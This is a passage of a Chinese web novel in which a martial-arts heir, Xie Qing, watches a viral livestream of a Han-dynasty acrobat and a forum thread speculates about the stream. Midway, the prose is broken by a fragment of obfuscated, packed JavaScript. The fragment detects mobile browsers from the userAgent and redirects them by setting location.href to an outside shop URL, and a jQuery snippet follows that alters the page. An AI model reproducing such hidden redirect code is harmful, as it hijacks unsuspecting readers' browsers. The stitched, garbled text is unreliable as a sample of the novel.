技艺精湛的弟子甚至可以在一个跳跃中化为火鹤,飞天而去遨游月宫,下半夜再回归人间,收敛住火焰组成的巨大翅膀,落地重新化为人间少年。 十八年来谢清日日练功,从未有过一天懈怠,她的天赋超过长辈,造诣也超过长辈,可是活人化为火鹤……谢清做不到,并且深刻怀疑人类根本就不可能做到。 毕竟祖先也是古代人,那会儿还没有科学,会迷信一些不可思议的东西很正常。 而且家族传承一路追溯到东汉时代也太夸张了,说不定笔记记载中也有同样的夸大之处,把“火鹤一般矫健的身影”,省略掉了动词,只记录形容词,一代一代传下来,也就成了后人看到的“火鹤”版本。 谢清一直是这么认为的,但是并不意味着她对自己家里的传承不感到骄傲,治疗外伤内伤的药酒是真的有效果,谢氏一族也依靠这份传承获得了足够优渥的生活。 每年谢家都用古礼祭祖,每次谢清都诚心敬意,练功那么累那么苦,她也一丝不苟地坚持了十八年,传承是谢清的骄傲,谢清也认定自己会成为家族的骄傲。 直到十分钟之前,她在去食堂的路上,点开了那个视频。 仅仅只是一个片段,看得出来是录屏,前后不过二十秒钟,但是谢清看了十遍。 她在一个视频里看到了一个,与她传承同源,但显然比她更年少也更精妙的身影。 一个穿红衣服的少年,面孔清秀而稚嫩,他出场时一口气打了十八个侧手翻,半空中张口吐出长长的火焰,他在火焰中仰头,束起的长发垂落,他举手从口中拔出雪亮的长剑,谢清下意识开始数—— 十秒钟不到,这少年一连挽了十九个剑花。 剑意霜寒。 退出视频的时候,家庭群已经炸锅了。 向来沉稳的二爷爷发了长长一段60S的音频,表弟说十秒钟十九个剑花,这还是人?三叔在疯狂问这是谁?这是谁?这是谁? 谢清一言不发,一秒钟不耽误,退出聊天软件,下载短视频平台,输入关键词检索,先是找到录频,发布不过二十分钟,点赞数量已经来到了夸张的二十万。 然后再顺着录频找到直播间。 刚好撞见系统切镜头,直播视角一路穿过舞剑的、走绳的、倒立的、角抵的、掠过种种怪异玄奇的衣冠和道具,如穿花拂柳,最终定格在吐火吞刀那少年腾身而起时翻飞的火红衣角。 就是他! 谢清松了一口气,但是不知为何心脏又砰砰跳动起来。 她一直觉得家里的传承缺了很关键的一块,所以她怎么练怎么刻苦都始终觉得还是不够,而现在她有一种预感,她好像找到了那关键的一块拼图。 下一刻,余光扫过直播间弹幕: “拍摄手法吧,可能加速了,正常人怎么可能手这么快这么稳,更何况这个红衣服看脸根本没多大年纪。” 谢清立刻怒火直冲天灵感,噼里啪啦打字,“不懂不要呱呱叫,懂不懂什么叫冬练三九,夏练三伏,懂不懂什么叫身如火鹤,揽月而还?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17461881|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “懂不懂他这么娴熟的动作要从几岁开始练?看没看到他的手腕他的肩膀他的腰和腿是怎么联动的?” “加速能做到这种效果吗?有本事报地址我线下去会会你!” “你以为你很懂吗?你就是个坐在井里仰望天空的青蛙!!” - -匿名论坛-吐槽区- 主题贴:咱们好像搞到真的紫微星了。 主题贴:我弟多动症举着手机看了二十分钟一动不动,旁边死个人都注意不到的精彩程度。 主题贴:到底是谁还没看直播?都去看好吗!都去看好吗!都去看好吗! 0L:首楼我要大声呐喊,神秘红衣少年你到底是何方神圣! 1L:rt简单概括一下剧情就是,刘彻招来杂耍百戏来解闷。虽然我没看懂他一个人看哪门子的杂耍百戏,但是这不重要,可以原谅! 如果说早上朝议那会儿的刘彻,是冷酷的封建奴隶主,冷冰冰,没人性,执掌生杀犹如手握雷霆的宙斯。 那么之后的刘彻就是纵情欢乐的酒神狄俄尼索斯,年轻英俊,少年皇帝,他坐在辉煌的宫殿中,被华丽的演出和盛大的宴会所环绕,身披的昂贵丝绸闪闪发光! 然后这次直播的大部分镜头都给了这段杂耍百戏,这个我实在形容不上来,硬要来也只能干巴巴地报菜名,还不如不说老师们直接点进链接去看录屏【】 我只能说不愧是皇帝一般的享受,这个直播间背后到底何方神圣,到底怎么才能聚齐这么一班人,怎么做到的,春晚能不能来学学,你要这么办我还能年年骂你吗? 2L:真正的艺术,真正的皇帝,真正的传统文化,后面忘了前面也忘了,真的精彩,不骗人,看不到比亏一百万还难受!! 3L:牛,切片点进去已经四十万点赞了,这才三十分钟啊。 4L:蹭热度的都火成这样,不敢想直播间本尊多么火。 5L:刚去看了关注数已经突破二十万了,下一个目标是一百万,真的好快,刷新一次几千上万地涨,这辈子没见过这场面。 6L:值得无需多言。 14L:只有我一个人觉得已经脱离直播的范畴了吗,嗯我不知道怎么说,就是感觉不太像是在演戏,反而像是…… 那个十秒钟十九个剑花的视频被人拿去分析了,没有加速的迹象,也没有特效生成的迹象,那么小的小孩,那么硬的功夫,我不分析到底谁能把这种人当成奴仆一样地使唤。 平心而论,现代这个社会真的存在这种人吗? 19L:嘘楼上,不要说话。 22L:怎么,有内幕? 30L:我只能说上一个这么发帖的人已经进去了,不是说帖子被封了的意思,具体怎样我不能说,你们自己领会。 只能说更上层已经在关注这件事了,很有可能比你以为的上层还要更上一点…… 32L:直播间那边弹幕都正式开始被管控了……说这些。 33L:?神经病吗嘴管不住捐掉好吗? 至少现在这个猜测你别管是真是假,绝对是机密级别,甚至极其有可能是红色机密,我至少有八成把握这绝对是个红色机密。 所以楼主在吗在吗在吗?快点把这楼删了,阅后即焚现在是能保住我们的最后办法,不然这楼里有一个算一个全得进去! 【此帖8cj,已禁止回复】 【404 not found】 —— 另一个世界。 建元六年,长安城中。 田蚡又打了一个大大的喷嚏,心里奇奇怪怪的,总觉得哪里好像不太对劲。